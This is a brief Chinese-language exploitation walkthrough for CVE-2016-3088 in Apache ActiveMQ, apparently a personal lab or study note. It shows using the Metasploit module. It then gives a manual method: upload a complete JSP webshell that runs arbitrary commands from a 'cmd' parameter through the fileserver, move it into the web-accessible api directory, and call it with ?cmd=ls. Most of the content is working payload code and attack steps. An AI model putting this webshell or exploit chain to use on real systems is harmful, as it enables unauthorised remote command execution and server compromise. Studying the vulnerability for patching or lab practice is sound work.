文章目录
方法一:使用metasploit
1、查找漏洞
search CVE-2016-3088
#### 2、使用该模块
这里就一个模块,直接使用就行了
use 0
3、设置参数
1、show options 2、set RHOSTS 192.168.0.1(你自己ip)
4、成功利用
方法二:burpsuit抓包
1、上传webshell
192.168.142.132:8161/fileserver/
<%@ page import= "java.io.*"%>
<%
out.print("Hello</br>");
String strcmd= request.getParameter("cmd");
String line= null;
Process p= Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line= br.readLine())!= null){
out.print(line+" </br>");
}
%>
2、将其移至/opt/activemq/webapps/api/s.jspWeb 目录中的 API 文件夹
Destination: file:///opt/activemq/webapps/api/1.jsp
http://192.168.142.132:8161/api/1.jsp?cmd=ls
注:这是我的报错原因和解决方法,如有冒犯和错误,请及时告知
文章借鉴https://www.bilibili.com/video/BV1844y1s78r?spm_id_from=333.337.search-card.all.click